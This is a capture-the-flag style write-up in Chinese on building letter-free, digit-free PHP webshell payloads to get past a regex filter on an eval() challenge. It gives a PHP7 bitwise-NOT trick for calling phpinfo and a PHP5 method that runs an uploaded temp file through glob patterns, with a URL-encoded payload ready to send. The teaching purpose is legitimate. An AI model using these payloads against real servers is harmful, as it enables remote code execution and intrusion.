文章目录
- 无字母数字的webshell构造技巧
- php7下简单解决问题
- php5下解决问题
- glob
- 开始操作
无字母数字的webshell构造技巧
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}
分析这道题的限制:
1、webshell长度不能超过35位。
2、不能输入大小写字母、数字、_和$.
php7下简单解决问题
php7是允许($a)();执行动态函数,例如(‘phpinfo’)();所以,我们可以构造一个可以生成phpinfo这个字符串的php表达式即可。payload如下(不可见字符用url编码表示,其实也就是phpinfo取反为%8F%97%8F%96%91%99%90,当其再次取反,那么就是phpinfo):
(~%8F%97%8F%96%91%99%90)();
?code=(~%8F%97%8F%96%91%99%90)();
什么是取反呢?
回想计算机组成原理的原码、反码、补码。这里的反码才是取反。
php5下解决问题
尝试php7下的payload。显然是不可以的。
那我们不妨尝试其他方法。
在上传文件时,会在/tmp下生成一个临时文件,很快就被删除,那怎么处理?
现在要解决几个问题:怎么在临时文件没被删除时匹配到他?以怎样的方式匹配?以及怎么执行。
先创建一个文件上传,上传文件查看临时文件。
已经生成临时文件,那么如何匹配呢?下面分析。可以使用到.加空格加文件进行执行,就算没有权限一样可以执行。
那么接下来解决匹配文件名的问题。
多次观察发现临时文件的最后一位一次是大写,一次是小写,但在Linux下没有名字为大写的文件。
那么就要用的glob通配符了。
glob
?匹配任意一个字符。
* 匹配任意多个字符
匹配4位任意字符
????
排除第三位为.的
??[^.]?
查询ascii码和global规则之后发现,可以下面这样匹配大写字母
[@-[]
那么匹配临时文件就是
/tmp/????????[@-[]
开始操作
首先抓一个上传文件的包和web.php的包。
上传文件里面写入
#!/bin/bash/id
将web.php的包改为POST方式,并且将上传文件的包中的Content-Type以及文件内容也放进web.php的包。并且利用get的方式传递参数。
get的参数code最终会走入eval中。
官方文档查eval函数发现要先把其闭合,再写自己的代码。并且<?php可以写成<?=。
get传递的参数为
?code=?><?=`. /???/????????[@-[]`;?>
又因为是通过url传递,不能传递空格等,那么只能使用url编码对?以及空格和;进行编码。空格可以使用+代替
?code=%3F%3E%3C%3F%3D%60%2E%20%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E
在burp里可以不用转码。